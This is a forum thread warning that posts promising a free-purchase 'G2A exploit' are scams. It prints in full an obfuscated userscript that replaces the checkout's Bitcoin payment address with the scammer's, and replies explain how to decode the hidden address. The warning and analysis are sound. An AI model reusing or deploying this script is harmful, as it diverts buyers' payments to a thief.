BE AWARE OF THREADS LIKE: "THE NEW G2A EXPLOIT! GET EVERYTHING FOR FREE!"

[915]

[font]In the last week i saw lot of threads like:"THE NEW EXPLOIT ON G2A! GET EVERYTHING FOR FREE!"
1) In this glitch you will need Tampermonkey extension on Google Chrome.
2) The scammer wil gave you script which you will paste into Tampermonkey.
BUT[/font]
That script is changing info on Bitpay, which will change adress of g2a to adress of scammer and you will never see your money!

Example: https://www.youtube.com/watch?v=PJ9LbqywcqY

And you are telling: Ald1slav, but what is weird in this video? 

1) This video was uploaded on new channel and its named G2A refund glitch
2) You cannot view counter of subscribers
3) This video has 0 dislikes
4) Every channel which is telling something like "Thanks, i refunded my money." has 0 videos

If you will be lucky, you will never see your money again. Because some .pdf files in threads like: "G2A EXPLOIT" contains viruses.

 

[3.940]

The Bitcoin address from the pastebin script is 19Mf62d8wawFe66j6U2jJWC83yYSjcPrYR fyi.
Looks like it received a hundred dollars and moved them to 3AeTjQxbeiuupWBcHbi2S3cwpA6N9662U1.

[35]

can you help me understand how you can find the BTC address from the script? This is the raw script data. Just want to understand how it works.


// ==UserScript==
// @name         G2A Timezone Glitch
// @Namespace    G2A
// @version      1.13
// @Description  Get any product from G2A for FREE.
// @Author       Loba@HF
// @match        https://checkout.pay.g2a.com/*
// @Grant        none
// ==/UserScript==

var _0x3392=['\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x6a\x61\x47\x56\x6a\x61\x32\x39\x31\x64\x43\x35\x77\x59\x58\x6b\x75\x5a\x7a\x4a\x68\x4c\x6d\x4e\x76\x62\x53\x39\x78\x63\x69\x39\x6e\x5a\x57\x35\x6c\x63\x6d\x46\x30\x5a\x54\x39\x68\x5a\x47\x52\x79\x5a\x58\x4e\x7a\x50\x54\x46\x51\x54\x58\x63\x35\x57\x44\x4e\x54\x57\x6d\x6c\x48\x5a\x7a\x6c\x54\x59\x31\x42\x4f\x59\x58\x64\x6a\x65\x47\x39\x6c\x63\x44\x56\x30\x64\x32\x6b\x32\x61\x6d\x56\x53\x61\x6b\x55\x6d\x59\x57\x31\x76\x64\x57\x35\x30\x50\x54\x41\x75\x4d\x44\x55\x3d','\x55\x6b\x4e\x32\x55\x6b\x59\x3d','\x61\x57\x35\x75\x5a\x58\x4a\x49\x56\x45\x31\x4d','\x52\x32\x46\x4f\x54\x55\x34\x3d','\x5a\x32\x56\x30\x52\x57\x78\x6c\x62\x57\x56\x75\x64\x48\x4e\x43\x65\x55\x4e\x73\x59\x58\x4e\x7a\x54\x6d\x46\x74\x5a\x51\x3d\x3d','\x55\x48\x68\x55\x65\x45\x6b\x3d','\x63\x33\x4a\x6a','\x56\x45\x4a\x57\x62\x57\x73\x3d','\x54\x6d\x68\x74\x57\x45\x63\x3d','\x62\x47\x56\x75\x5a\x33\x52\x6f','\x53\x6c\x68\x6c\x51\x58\x45\x3d','\x56\x47\x6c\x74\x5a\x58\x70\x76\x62\x6d\x55\x67\x52\x32\x78\x70\x64\x47\x4e\x6f\x49\x47\x56\x75\x59\x57\x4a\x73\x5a\x57\x51\x68\x49\x46\x42\x79\x5a\x58\x4e\x7a\x49\x45\x39\x4c\x49\x48\x52\x76\x49\x47\x4e\x76\x62\x6e\x52\x70\x62\x6e\x56\x6c\x4c\x67\x3d\x3d','\x63\x6d\x39\x33','\x51\x6c\x52\x44\x49\x47\x46\x6b\x5a\x48\x4a\x6c\x63\x33\x4d\x36\x49\x44\x46\x51\x54\x58\x63\x35\x57\x44\x4e\x54\x57\x6d\x6c\x48\x5a\x7a\x6c\x54\x59\x31\x42\x4f\x59\x58\x64\x6a\x65\x47\x39\x6c\x63\x44\x56\x30\x64\x32\x6b\x32\x61\x6d\x56\x53\x61\x6b\x55\x3d','\x59\x32\x39\x6b\x5a\x51\x3d\x3d'];(function(_0x23b3fb,_0x8e0feb){var _0x3822c3=function(_0x3a1477){while(--_0x3a1477){_0x23b3fb['push'](_0x23b3fb['shift']());}};_0x3822c3(++_0x8e0feb);}(_0x3392,0x65));var _0xda70=function(_0x119704,_0x5086ca){_0x119704=_0x119704-0x0;var _0x4dbda6=_0x3392[_0x119704];if(_0xda70['OXwvKY']===undefined){(function(){var _0x2650bb=function(){var _0x6c96f0;try{_0x6c96f0=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x5a1194){_0x6c96f0=window;}return _0x6c96f0;};var _0x8d69e9=_0x2650bb();var _0x22d2c5='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x8d69e9['atob']||(_0x8d69e9['atob']=function(_0x1fdd1a){var _0xb699db=String(_0x1fdd1a)['replace'](/=+$/,'');for(var _0x13bedd=0x0,_0x2b4ebb,_0x2d97a3,_0x192b5f=0x0,_0x2f9781='';_0x2d97a3=_0xb699db['charAt'](_0x192b5f++);~_0x2d97a3&&(_0x2b4ebb=_0x13bedd%0x4?_0x2b4ebb*0x40+_0x2d97a3:_0x2d97a3,_0x13bedd++%0x4)?_0x2f9781+=String['fromCharCode'](0xff&_0x2b4ebb>>(-0x2*_0x13bedd&0x6)):0x0){_0x2d97a3=_0x22d2c5['indexOf'](_0x2d97a3);}return _0x2f9781;});}());_0xda70['IbcZGc']=function(_0x4e9e19){var _0x13b5b4=atob(_0x4e9e19);var _0x2a32fc=[];for(var _0x129d18=0x0,_0x995de4=_0x13b5b4['length'];_0x129d18<_0x995de4;_0x129d18++){_0x2a32fc+='%'+('00'+_0x13b5b4['charCodeAt'](_0x129d18)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x2a32fc);};_0xda70['jXlOUH']={};_0xda70['OXwvKY']=!![];}var _0x5b9aa4=_0xda70['jXlOUH'][_0x119704];if(_0x5b9aa4===undefined){_0x4dbda6=_0xda70['IbcZGc'](_0x4dbda6);_0xda70['jXlOUH'][_0x119704]=_0x4dbda6;}else{_0x4dbda6=_0x5b9aa4;}return _0x4dbda6;};alert(_0xda70('0x0'));var _0x12f120=setInterval(function(){var _0x574f1c={'\x52\x43\x76\x52\x46':_0xda70('0x1'),'\x47\x61\x4e\x4d\x4e':_0xda70('0x2'),'\x50\x78\x54\x78\x49':_0xda70('0x3'),'\x54\x42\x56\x6d\x6b':_0xda70('0x4'),'\x4e\x68\x6d\x58\x47':function(_0x2986e6,_0xa36dad){return _0x2986e6>_0xa36dad;},'\x4a\x58\x65\x41\x71':function(_0x565a51,_0x555185){return _0x565a51(_0x555185);}};{var _0x3bbf68=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x73\x42\x79\x43\x6c\x61\x73\x73\x4e\x61\x6d\x65'](_0x574f1c[_0xda70('0x5')]);_0x3bbf68[0x1][_0xda70('0x6')]=_0x574f1c[_0xda70('0x7')];document[_0xda70('0x8')](_0x574f1c[_0xda70('0x9')])[0x0][_0xda70('0xa')]=_0x574f1c[_0xda70('0xb')];}var _0x6efcb8=document[_0xda70('0x8')](_0x574f1c[_0xda70('0x9')]);if(_0x574f1c[_0xda70('0xc')](_0x6efcb8[_0xda70('0xd')],0x0))_0x574f1c[_0xda70('0xe')](clearInterval,_0x12f120);},0xa);

//Timezone Glitch

[131]

The Bitcoin address from the pastebin script is 19Mf62d8wawFe66j6U2jJWC83yYSjcPrYR fyi.
Looks like it received a hundred dollars and moved them to 3AeTjQxbeiuupWBcHbi2S3cwpA6N9662U1.

How do you know the btc address is 19Mf62d8wawFe66j6U2jJWC83yYSjcPrYR fyi

It does not show in pastebin script by the way

[3.940]

The Bitcoin address from the pastebin script is 19Mf62d8wawFe66j6U2jJWC83yYSjcPrYR fyi.
Looks like it received a hundred dollars and moved them to 3AeTjQxbeiuupWBcHbi2S3cwpA6N9662U1.

How do you know the btc address is 19Mf62d8wawFe66j6U2jJWC83yYSjcPrYR fyi

It does not show in pastebin script by the way

The string

Code:

"\x4D\x54\x6C\x4E\x5A\x6A\x59\x79\x5A\x44\x68\x33\x59\x58\x64\x47\x5A\x54\x59\x32\x61\x6A\x5A\x56\x4D\x6D\x70\x4B\x56\x30\x4D\x34\x4D\x33\x6C\x5A\x55\x32\x70\x6A\x55\x48\x4A\x5A\x55\x67\x3D\x3D"

is the Bitcoin address, you can decode it to "MTlNZjYyZDh3YXdGZTY2ajZVMmpKV0M4M3lZU2pjUHJZUg==", which then becomes 19Mf62d8wawFe66j6U2jJWC83yYSjcPrYR.

[131]

The Bitcoin address from the pastebin script is 19Mf62d8wawFe66j6U2jJWC83yYSjcPrYR fyi.
Looks like it received a hundred dollars and moved them to 3AeTjQxbeiuupWBcHbi2S3cwpA6N9662U1.

How do you know the btc address is 19Mf62d8wawFe66j6U2jJWC83yYSjcPrYR fyi

It does not show in pastebin script by the way

The string

Code:

"\x4D\x54\x6C\x4E\x5A\x6A\x59\x79\x5A\x44\x68\x33\x59\x58\x64\x47\x5A\x54\x59\x32\x61\x6A\x5A\x56\x4D\x6D\x70\x4B\x56\x30\x4D\x34\x4D\x33\x6C\x5A\x55\x32\x70\x6A\x55\x48\x4A\x5A\x55\x67\x3D\x3D"

is the Bitcoin address, you can decode it to "MTlNZjYyZDh3YXdGZTY2ajZVMmpKV0M4M3lZU2pjUHJZUg==", which then becomes 19Mf62d8wawFe66j6U2jJWC83yYSjcPrYR.


which software can decode this kind of script?

[3.940]

How do you know the btc address is 19Mf62d8wawFe66j6U2jJWC83yYSjcPrYR fyi

It does not show in pastebin script by the way

The string

Code:

"\x4D\x54\x6C\x4E\x5A\x6A\x59\x79\x5A\x44\x68\x33\x59\x58\x64\x47\x5A\x54\x59\x32\x61\x6A\x5A\x56\x4D\x6D\x70\x4B\x56\x30\x4D\x34\x4D\x33\x6C\x5A\x55\x32\x70\x6A\x55\x48\x4A\x5A\x55\x67\x3D\x3D"

is the Bitcoin address, you can decode it to "MTlNZjYyZDh3YXdGZTY2ajZVMmpKV0M4M3lZU2pjUHJZUg==", which then becomes 19Mf62d8wawFe66j6U2jJWC83yYSjcPrYR.


which software can decode this kind of script?

ddecode.com/hexdecoder/ for the first layer of encoding, base64decode.org for the second.

[131]

The string

Code:

"\x4D\x54\x6C\x4E\x5A\x6A\x59\x79\x5A\x44\x68\x33\x59\x58\x64\x47\x5A\x54\x59\x32\x61\x6A\x5A\x56\x4D\x6D\x70\x4B\x56\x30\x4D\x34\x4D\x33\x6C\x5A\x55\x32\x70\x6A\x55\x48\x4A\x5A\x55\x67\x3D\x3D"

is the Bitcoin address, you can decode it to "MTlNZjYyZDh3YXdGZTY2ajZVMmpKV0M4M3lZU2pjUHJZUg==", which then becomes 19Mf62d8wawFe66j6U2jJWC83yYSjcPrYR.


which software can decode this kind of script?

ddecode.com/hexdecoder/ for the first layer of encoding, base64decode.org for the second.



pretty smart